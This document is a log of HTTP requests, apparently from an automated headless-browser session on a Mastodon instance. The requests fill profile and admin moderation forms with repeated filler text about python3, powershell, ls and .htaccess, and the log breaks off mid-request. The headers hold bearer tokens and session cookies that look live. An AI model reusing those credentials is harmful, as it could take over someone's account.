{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 42", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=wsWeqOBCkdm6W7BgxUIUXmZL53WQcRiYD5qxpQMGdQn7ffgUr2pyA1JK2IuWlU8ZsgQgOU%2BA5fl8%2FP4KqCWrjZenXo4NUr4Og3cG6bNHv8iJnqr5oruzqqamRueD%2BuN11cx6%2FHjKQrx%2Bs3%2FBMDd8RRglGQjWtFTnOXrQYIR9yOGjcwNWCtyYCGAcUx4kcAwBFHkKpO2fGMTjxepgjLFaTZSc8Fhpz4eFjS9on9fbS5cek6p80PrN27n0vMQYPmZOo0agDymWrcJyl5moy7jg1wTAMFZw%2BtBbhEU6weVmmB6ccXFmN1IyQe1qzB4siaG%2Fn4AAeJYinJ7hQDA5EXgbc3KDOIYJGj%2Fa2FGPoxN6QcQ%2BdlSBBWGGALIZF2vN3483YZgDLuR9NbKV--W5T0%2FWskJnen5Dkc--l%2F1T24Age7%2F9fgc72I1rjA%3D%3D"], "body": "{\"note\":\"ls -la shows the .htaccess file\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 235", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=ZoK9h%2FxgaOurQH0npEckZgHexCYp04bxjsIrqpx0vVrbjvoJuFjymzoBksuvZq8SaCkBfSgW%2F5tGx08zhLtUH2Hb2vdBNj%2Fx6FNZ942EhDpL3NmBHuvtWMXO23wFTmdobalBUJ%2F4ll7NrKsn%2FgnsIsOIOoggUUC9AMXU2sOdA8RcT4ACjyTV%2BTPsoFTXq7DjztGRPXltBaHPmww0EFkin%2FTK%2BqO0AFgCgKqOSzzJmsXVW%2FllrgW%2BPATiNVtcrNlSgm8S9BwiPLiVHLTnQ7BONJUSMFNr%2BKse1o1QEzwdlBtpT9NeAniBC8lGmaBJ6CJo7NwWOeGVPIumT5wllY6G0DHynnCXfJEVT5vRokHYDs%2FSwRB8XOcckA%2BfislK6ga4Zl%2FwPEerd44n--n9bWadmH5ICLzs9P--gmVZyT37Dif%2BUrSoixAvGA%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"},{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"}]}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 339", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=hw6nfkWmCq0K%2F44I%2F4jhJA0D7vKlSjTK4m9yqegVWr1OsoFhOsu7uTaIoMz%2FPCPn50Y2zIvZ47OvubuqY8mdJXnmOsviKpsuVoOMoTZfbbsvna4E2dgsqQBi8ggltMaksn5nuH%2BmJUT%2F1II5j2qcFnO98eCaFGjSZz7ldLwpdr%2B5yGTtquUirrXHLKr1ygy%2BIYxWkEkwZn60VjJ6eLhEXGhoXHomYRKxNw3Vx1gA1LWBw6r84JTfFuIUInIlH3Bt8Kz805P1xZ23p34KmfxCV5g0lyEYA0N9IxU9ddlslhNNNY54KcaIp1O2msMcPvh8F1JOJCru%2FVNJJ3I3yqjm5gslwbE74qVKm6vsOkBexL%2FNISvNVKtLPqo%2Bz4heoXe%2BODYy2BUfpVho--LwXV%2FcVsWbLkBTy3--4Oxw3HOwITwJ1nWTdKGjaw%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"},{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"},{\"name\":\"python3 and powershell scripts that edit .htaccess\",\"value\":\"ls -la shows the .htaccess file\"}]}"}
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 449", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MDguOTYxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b3b19a00352f24977f6020ab9a3d6c383ffa3ac7; _mastodon_session=mP7fiQyDKoV6lJ%2BWezz3yVhrquplnsAUk6UVtpRcwznoIRg5gTCCpybCimnYifSv0YE8kccsZ1GrKNsA2q%2Bl801pNb4XiGxO5MYLBqAR085qM%2B3daWp4taG6kt87s1sMFhHYglcGxyK2qHN7ij4EOZi0%2BEFbdFTOfAHPn%2BxZnBa%2BbAslC4OJ3cL9JThjQBRA7GrPdPcT%2FlZVwvnejGk9EhYcX0t64M4%2BXJh5tWffCGK4oN%2FsqXU11qs6BT%2FxpcHMmv6m3RHm%2F%2FD%2FGKVlvBjSW%2FOmonjCmhBaajL3IzrD41oIk21%2F2oIa7CIlF%2BOfFcOIlWX92MVxp5uzDVx4YvxE3Di1pG6R6Vgv6QxRNFcuUS9oRJeczQHPyD%2FUnR0VD2EedIgqMvsY8%2F9X--VfImL1OEW0wP%2BCiI--64yPeaLF5m%2BS%2BiRi7IRaog%3D%3D"], "body": "authenticity_token=jpaDeCR9iWwzuxPg1JgseB8Y47v1qHPkVdGFovefz7smHg_TBpCr0uf5bscQQaY9d-1KgPUa4FjmySI95Fs4EA&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Bwarning_preset_id%5D=&admin_account_action%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 218", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MTcuNzA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7d71870fb60c9e5abfad99a480effe1ab5e8aef8; _mastodon_session=CBCujKgzjcSEVJW0F9kw%2BOLoA0mbrQk9fmJZvoh39xY7k9aWN2BJ%2Bkh3O5BEhIeoZpC2ENoFL6CiIxhM7Jc%2B%2F4xopNZoW245YsTSLEeJFsiUqjmkHMQoudZgV2Xrpcb9P3kiIdAEFrRA2G%2F3LsGeyaHJwve%2BdWAxGDLelPGZVbP88A1nAYNCemZOYVF1SnwXL%2FeTV%2FhwAPu0PkZm6xJRrHVrt5A%2BwE%2BMNb6A4pLHucUYkegl%2BM7ryv354NvD3rfV5cPzXur488DDipXNRoKP%2BzI22Sghk%2FnRm73bhI%2BfMLdfzC32mhoZBbSJ9Mb0UAk2L6d%2FAiGO4phvRnDKDg7iRvF701ovnkq4MAI9xzHGCcO%2B46fd%2FlKQOHy2pY7OV9rQGRISEQip5QtM--zxe96wyhYxlpDb10--O46IGRShqqt3BWz5kNJHJw%3D%3D"], "body": "authenticity_token=iHeUgrJk-gy8zqDm8157aBB9Je8M9Ih3w0QL0zE9g_EiV538l6J8eAQk3Pt8EVYtlaCJLG1YEAcYNy5lOzcKCw&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MjYuMzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--52c7b5926651b23d91d8cb90d66df2b5c92e1191; _mastodon_session=dqfKXdGn7rpAJWbDf4xUWXgfJ%2B1P3yRbglvdgCEkuolsBEMMCdZSd%2Bfh3vDmhN13TpuAei4J0xhtfKv3T1Mqrer1B6EPcez5eF7M7TdzbkNs4pk3%2FC%2FcK9tCTqtQicBodw%2FeLD91xbxn9iSsaDp2jxmgQojIHtHBGDcX0rz5QoNdmrPJbzP5LFiWTnjfkkmmqA0SYGiP9M8fQk72N83IBMF65hKBeBnixwVSUQbDc23nWKbYfqYGqBz%2FPapP9UxFGUhI1Xyutf%2F0OA2%2B3QYLNcvojOVTnYUIETRCY6xXe20mAJPJH6XgeeknBwNLxkAXfkXQbmydaCghna5Egjcegk7q1dC1lFVsXjPRAsBNM3lVpVa2oRjDINlEA5kfd%2Fh6ALSrtlgLYyDa--%2FBdXifGO9k%2FaEUmA--g8a91lnpwy7nArYzegLyEg%3D%3D"], "body": "authenticity_token=DUJbvjl6yppqesLEBLG_iuk1Q_HkMKCRrrsYrjAa1Edb5z5J8ZXFK9FexIlMXclDLXrwfD8g8VNoq2I6O6LQKQ&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 282", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MzUuMDA2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8b1e172f1c7a5f6e39ce9489a28ae8274b5f36fd; _mastodon_session=NltPQ7PL3G5%2FHBPCmFd79c3ci%2B4I2lcfqclQTfANAxXn43aL%2FwhPppiwQOBsB%2BaKiPrMwjJx6o97XgdnW4sriN2YXXx%2F%2F5N4Pi2c2g%2BG%2FV9Dl6V6h3zefFN%2BuI48r7cWCxi2KrdYvkrhLPUPg6U%2FpvOLch8Pdmess8lcOMvg94%2BY6t2Aj7caKXz5gvdPiic%2FlGhCFsp60e9DW1x3di1w3%2FcBNUI%2Bk1YhIWp8epOSwh%2BYozg9p3%2BL7dZ7H9I0Mg3FHhVhWLnLzT0a3DRIYdc9Mr85CM%2Fz06FeiBnVC4YVtezvUwyvjkdo%2F7OOmYAu0tOlkV43KaOdsDz4qn3nr2h3glDqYJw6mUVe2bfWRxyMs3zo84ofzKDznPS9uRR9ZZeWqWcbYfa4g5Vb--y0WcSeMDaCUhmTql--FoTC4Uu%2FwnOyLO%2BagBBXcA%3D%3D"], "body": "authenticity_token=ah1dpajJ5yY_kZ65_gHpFzDFB9o2xbow-o1NjQA00KGX1C372gPtG7xiw8wOB-aCLCGMRdrUSQ3dMJbmIfEaVQ&account_warning_preset%5Btitle%5D=python3+and+powershell+scripts+that+edit+.htaccess&account_warning_preset%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 586", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6NDMuNTI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9906d0e453de47e483b391508ef38643ac95803; _mastodon_session=qC1PGRWyv%2Fyr%2BuDKnAvrO%2FwrBzvvTlWfkvrsEFXQbteOFUtRkv%2BijC0Z0JG8dEPDXoZvPE8zfOBjHcOjUJG48L716hbrVsHaHjBZ3tAuFS9DWwpUwkGlgZP1GkVFd3rWKb2hrC4iDbgV4o%2FYwVZrZS3DDYQfxDAN99bb%2BoQrfp2N0OLrCA%2F8rtlBrOC1nkz40xVwOGhMMuH8naw6NCS%2BWXV6HCt4e8JCAMJTnXGkAH057lQnV5zxKzlof%2FQTizthbfE85kPFxyBxaAPQgZW1cmVg73w4UVj0ruBktxXhALBkEzSe9XnNcqp2fIxlMKxqLm16MM8kMP7HqNd1GNCGyiVRgF4QF21b5qSJD80BJ70DhmHfXZ0mH90dnOddYCLB5fuRCEj3D4xh--rx5oDgEtUo6DRUoJ--L9HMW27wF750Y6w7dPOrLA%3D%3D"], "body": "authenticity_token=nzxc_g11vWGyI0MUzvzns1_s7ql61lXieMumQD8IeQHJgt9iuYw4u2VbTUBLLSWmHRltLhb3MnZhFWSePyOtlg&user_role%5Bname%5D=python3+and+powershell+scripts+that+edit+.htaccess&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 447", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6NTIuMTY0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d2b7eff6bda8a27d8f8fc3aacab6b3ddb921b1e9; _mastodon_session=akHV2WTZ2LD5b4w9CfBdeASEiMjNz6r3x7YqD%2FHfiJNMjmeYgvFYNRQkSUC%2FHoz0iWMNmhdBTgAb%2FWQq1P8CMjQQmMc3GIruUf8BF7aFegz0y6aUPZy03E%2F4KHzEYEqWFLoSs9PgQUR5WG4EgRE%2B1gq%2BDv%2Bhl%2BzAnnhOW4bGeDUH7EUe2%2BXM8rpF9uDnzB8yZYZV6wnKH8LDjiZ4G5VfeIRVwNnjCD6hk9gJarQKg%2B7eWrQoZRrU%2FAMBijK%2BP3YbdF%2F6VKqHkXZPxsk5cb07U%2BoVYz2ZsiNy7Xk4%2FAbSsfk91ZjuhyM8iFMbOwM3FRTEie9ov0WuGPD4jU8NgP%2Fr4A%2Fwd%2FupubKK%2FUPB5FJ%2B%2FYsJZBfuWqt8LAgC7TQ%2Fq7nj3DAu0SrQzYol--TOszd08RUI6Hc8kp--HnV3x%2FCb4XFDKxr0cxBLZQ%3D%3D"], "body": "_method=put&authenticity_token=DYaj53QDVmcnY9FS-tI4HD6wGq2GDzLxT3MZ1-GJpKhQDtCLWJNbAh-lGBfXcUeBYI56I3qzoL-85wfTdgIx_w&terms_of_service%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&terms_of_service%5Bchangelog%5D=python3+and+powershell+scripts+that+edit+.htaccess&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 430", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MDAuODgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--49894c60dfbba820df51b74e464488408930ec58; _mastodon_session=iU7SW181Dw%2FpL1GG533QpfQjGfRfxR7%2F34aJPOngRQCcy%2ByGL%2BKFT7rRRpT%2FtmI2Si6KZDFqpS0rAKFGSoxz53NSHMhAh24i33JUq0V%2BArAp0gMmHHzKYoVAcDk0UAiCzeK1tX73mX8xv%2BAQFM%2FERtrAshpftkDnAYvSIEslHgXzBVZ8K%2BoNO7W3x1SiC0lNLeoI3A2wKobogZ5ckFxKbzhtfraE2LJY3C%2B22ooyNCokxeB6ZBUQpA2TYQF%2FbF5LPTebeka%2FB8%2F85TfmJQvF5j9JtZt1ataxtDrFVFV8S1mRxlBi%2F9EFBs8TGlOqdNdHIUqniIWs8NWHwe0OH044ZDv8vPa9HuB%2F3SaIC1NSCk%2FkHjFqqLTIscShG0HLR3wdfIqUT3ZJsoyo--ByJHkEPDzZ0cxDvl--krk0XyN%2BTUNu2lcYdI5EhQ%3D%3D"], "body": "authenticity_token=l767WRHErniorVzX7hDt67o8cq_e_YRrmKjH6fQdL5s_NjfyMymMxnzvIfAqyWeu0snblN5PF9crsGB259nYMA&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Bwarning_preset_id%5D=&admin_account_action%5Btext%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 199", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MDkuNTkyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7c4b5d3aec53dacaabdcc6c2e921fd5b01bf2c18; 